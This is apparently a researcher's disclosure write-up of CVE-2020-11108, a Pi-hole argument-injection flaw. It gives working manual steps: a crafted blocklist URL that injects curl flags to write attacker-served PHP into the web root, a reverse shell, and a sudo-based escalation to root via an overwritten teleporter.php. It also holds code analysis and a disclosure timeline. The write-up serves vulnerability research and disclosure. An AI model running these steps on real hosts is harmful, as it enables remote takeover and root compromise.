## CVE-2020-11108: How I Stumbled into a Pi-hole RCE+LPE
###### May 10, 2020
The following is a technical writeup for CVE-2020-11108, a vulnerability that
allows an authenticated user of the Pi-hole web application to gain remote
code execution and escalate privileges to root. This vulnerability affects Pi-
hole v4.4 and below. It was an exciting find in an open source project that I
have used for years.
All vulnerabilities were found by manually reviewing the source code. Note,
there are technically two paths to gain remote code execution, however they
are similar and rely on the same vulnerable function call.
This article is split into two parts. The first being a quick summary as to
how these vulnerabilities can be exploited. The second being a writeup on
their discovery and technical analysis.
Full PoC exploits are available
[here](https://github.com/frichetten/CVE-2020-11108-PoC).
### Manual Steps to Exploit
**Reliable RCE:** This exploit does not rely on any special conditions aside
from being authenticated to the web application and is functional with the
default install of Pi-hole.
**Step 1:** Navigate to Settings > Blocklists
**Step 2:** Disable all existing block lists (speeds things up), then enter
the following payload as a new URL.
`http://192.168.122.1#" -o fun.php -d "`
Where the IP address is an address you control. Note that the `#` character is
required and the space after `-d` is also required. Once entered you can click
Save.
**Step 3:** Set up a netcat listener on port 80 (The payload can be modified
to support other ports, however some backend parsing of the ':' character make
this more of an annoyance than is worth changing)
**Step 4:** Click "Save and Update"
**Step 5:** After a few seconds you will receive a GET request. Provide a 200
response (this is required), hit enter, enter anything (just to provide some
data), hit enter twice more and then Ctrl+c.

**Step 6:** Set up another netcat listener on port 80 and click "Update" to
update Gravity a second time. This time you should see ".domains" in the
response. This is indicative you have performed the exploit correctly up to
this point. Hit enter, and then paste whatever PHP payload you ad like. A
shell function call works very nicely. Then hit Ctrl+c to kill netcat.

**Step 7:** If your payload was a reverse shell, set up your listener. Then
curl `/admin/scripts/pi-hole/php/fun.php`. This will trigger your payload.
Congrats, youave just gotten RCE on Pi-hole!

**Conditional RCE:** In addition to being authenticated to the web
application, the Pi-hole service must set its [BLOCKINGMODE](https://docs.pi-
hole.net/ftldns/blockingmode/) configuration to NXDOMAIN to be exploitable.
This is explained in detail during the technical analysis.
**Step 1:** Navigate to Settings > Blocklists
**Step 2:** Disable all existing block lists (speeds things up), then enter
the following payload as a new URL.
`http://192.168.122.1#" -o fun.php -d "`
Where the IP address is an address you control. Note that the `#` character is
required and the space after `-d` is also required. Once entered you can click
Save.
**Step 3:** Set up a netcat listener on port 80 (The payload can be modified
to support other ports, however some backend parsing of the ':' character make
this more of an annoyance than is worth changing).
**Step 4:** Click "Save and Update"
**Step 5:** After a few seconds you will receive a GET request that will
include ':80:'. This is indicative that BLOCKINGMODE is set to NXDOMAIN and
that the exploit was successful. Hit enter, and then paste whatever PHP
payload you ad like. A shell function call works very nicely. Then hit
Ctrl+c to kill netcat.

**Step 6:** If your payload was a reverse shell, set up your listener. Then
curl `/admin/scripts/pi-hole/php/fun.php`. This will trigger your payload.
Congrats, youave just gotten RCE on Pi-hole!
**Privilege Escalation:** After gaining a shell on the box you can escalate
privileges through the following means.
**Step 1:** Re-do either of the previous exploits, this time overwriting
teleporter.php (instead of writing to fun.php).
`http://192.168.122.1#" -o teleporter.php -d "`
**Step 2:** With a shell you ave gained previously, run `sudo pihole -a -t`
(www-data has a sudo rule to call pihole). This command will call
teleporter.php as root. If youave overwritten it with a reverse shell
payload (for example) you will be root.

### Discovery
The initial discovery was purely by accident. In a previous [blog
post](https://frichetten.com/blog/escalating-deserialization-attacks-python/)
I described how to perform deserialization attacks against Python. As a follow
up, I wanted to replicate this for PHP applications. While writing that post
(it will come eventually I swear!) I started poking at some applications I run
on my home network that use PHP.
After bouncing through a few of them I landed on my [Pi-hole](https://pi-
hole.net/) instance. If youave not used it before, Pi-hole is a specialized
DNS server that will block ads and malicious domains for devices that use it.
This makes it easy to block ads network wide, rather than relying on something
like a browser plugin.
I began going through the [code](https://github.com/pi-hole/AdminLTE) looking
for opportunities to perform deserialization attacks and was thoroughly
disappointed (not a single unserialize function to exploit). My next thought
was looking for opportunities for exploiting [phar stream
wrappers](https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-
Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf). While going through
the app I noticed the ability to use user-selected blocklists (Settings >
Blocklists).
I tested a phar stream wrapper and it appeared to take (spoiler alert: it
didnat).

After seeing this I thought to myself, "Okay, we can define the protocol (i.e
http vs https). I bet the PHP on the backend is making a GET request to these
domains, pulling the content, and adding them to the block lists. I wonder if
it will evaluate this phar stream wrapper?".
I pulled the source code of the application and was surprised to see this was
not the case. Instead the PHP actually calls the pihole CLI tool to update the
blocklists. I then looked at the code base of that and found the
gravity_DownloadBlocklistFromUrl function in
[gravity.sh.](https://github.com/pi-hole/pi-
hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L219)

While going through that function I came to find the actual downloading was
being done by [curl](https://github.com/pi-hole/pi-
hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L277).

This is when all the fun began. If youall notice, there are a number of
variables which can be affected.
### Technical Analysis
In order to trace the path for exploitation we need to examine these
parameters and understand how curl is going to interpret them. The following
is a simplified (from an exploitation perspective) format of what we should be
looking into.
`curl ${cmd_ext} ${heisenbergCompensator} "${url}" -o "${patternBuffer}"`
The first thing that may stick out to you is that the cmd_ext and
heisenbergCompensator are not surrounded by quotes. This provides the
opportunity for us to inject alternative flags into curl. If youave ever
exploited something like this (ironically I have experience abusing parameters
going into curl requests) there are two flags that are particularly valuable,
`-o` for output and `-x` for proxy.
To make matters even more in our favor, the curl command is run as root.
Meaning we can potentially write files anywhere (more on that later). Because
this script is being called by PHP in the web directory, any files that are
written with `-o` are written in the web directory. If we can control that
flag and the content, then we are guaranteed remote code execution. One other
thing is that Curl will prioritize the order in which the flags are entered.
Whichever flag is evaluated first will be executed. So `curl -o a -o b
https://frichetten.com` will write output to a.
This leads us to look into the two parameters which are not encased in quotes.
And ultimately there are two ways to inject into them.
First we will look at heisenbergCompensator. On line
[238](https://github.com/pi-hole/pi-
hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L238) of
gravity.sh heisenbergCompensator is set if the saveLocation variable is a
valid file. If it is valid/readable, the saveLocation variable will be used to
construct the heisenbergCompensator. This is set in the previous
[function](https://github.com/pi-hole/pi-
hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L205)
(gravity_SetDownloadOptions) and is constructed from several variables.
`saveLocation="${piholeDir}/list.${i}.${domain}.${domainsExtension}"`
Because we control the input we can potentially create a domain with spaces
and additional flags. This should not cause a problem for the file name, and
those spaces will allow us to inject our own flags for the curl command. To
exploit this, we use the following payload.
`http://192.168.122.1#" -o fun.php -d "`
This domain will be parsed in such a way that the double quotes are extracted.
Thus at the time of the curl the variables are such that heisenbergCompensator
= `-z /etc/pihole/list.0.192.168.122.1# -o fun.php -d .domains`.
Now as youall recall the heisenbergCompensator variable is set AFTER it
validates a file is there. The good news for us was that updating gravity one
time will be enough to write the file as shown below.

The only caveat is that we must respond with a 200 OK to ensure the file is
written. This is required based on line [290](https://github.com/pi-hole/pi-
hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L290).
The `-d` flag is a throw away to handle the extra data that is appended. The
second time we update Gravity, the curl request will include our injected
flags and write our payload to the web directory.
You may be wondering if this could be exploited to overwrite an SSH config, or
/etc/shadow or some other file. Unfortunately I could not find a way to write
to any other directory other than the web one. As a part of the back end
parsing, any '/' characters are filtered out via a regex. I spent a not
insignificant amount of time trying to find ways around this but had no luck
(If you do find a way please let me know).
That takes care of heisenbergCompensator, but what about cmd_ext? The bad news
is that this flag is only set if [BLOCKINGMODE](https://docs.pi-
hole.net/ftldns/blockingmode/) is set to `NXDOMAIN`. While this is a valid
configuration, and supported by the developers it is not the default shipped
with Pi-hole.
If it is set however, exploitation actually becomes a bit easier than the
previous method. cmd_ext is defined at line [274](:ghttps://github.com/pi-
hole/pi-hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L274)
and is constructed as follows.
`cmd_ext="--resolve $domain:$port:$ip"`
Thus, if we can use the same payload we constructed earlier to inject into the
domain. The spaces introduced will allow us to inject our flags, and we append
the `-d` flag to deal with the remaining data meant for the resolve
(specifically the ':80:').
### Escalating Privileges
Either RCE achieves the same effect, a shell on the Pi-hole host running as
the `www-data` user. From here, we are going to want to escalate privileges.
After talking to the devas they had mentioned there was a previously
reported way to escalate privileges related to some Bash trickery. It was a
pretty clever trick, but I really wanted to find my own method.
If you are just looking at the source code for the Pi-hole web application,
you may be surprised to see that it calls `sudo pihole` regularly. Does this
mean www-data is a sudo user without a password? No, unfortunately for us they
are not. But, www-data does have a sudo rule to run the `pihole` command!

This felt like a hint in a CTF, clearly I had to priv esc using the pihole
script itself. Some things you should know about it is that itas actually a
Bash script that calls a handful of other Bash scripts sitting in
`/opt/pihole`. Everything is owned by root so unfortunately we canat just
modify one one of the scripts and then run it with sudo.
While looking through these scripts, I noticed something just as good however.
In `/opt/pihole/webpage.sh`, on line [547](https://github.com/pi-hole/pi-
hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/advanced/Scripts/webpage.sh#L547)
the script calls a PHP file sitting in the web directory.
From here the game plan is simple, we can repeat our previous exploit, this
time overwriting teleporter.php. Then, when we run `sudo pihole -a -t` which
calls our payload in teleporter.php and viola, we are root!
Overall this was an awesome hacking session, and I hope I was able to explain
even 10% of what made it great. A lot of it boiled down to finding edge cases
where I could satisfy what the back end was expecting (That payload took many
rounds of iteration until I got it working. The original one was using brace
expansion).
Shoutouts to the Pi-hole core team for bearing with me as I explored different
options and expanded upon my original exploit!
### Disclosure Timeline
3-29-2020: Contacted Pi-hole team
3-29-2020: Pi-hole core team acknowledged the report
3-30-2020: Met with the team to provide additional information/trace the issue
3-30-2020: Mitre assigned CVE-2020-11108
3-31-2020: Found the second way to RCE with heisenbergCompensator
4-02-2020: Found and submitted the privilege escalation bug
5-10-2020: Pi-hole team gave me the go-ahead to share the bug and PoC
暂无评论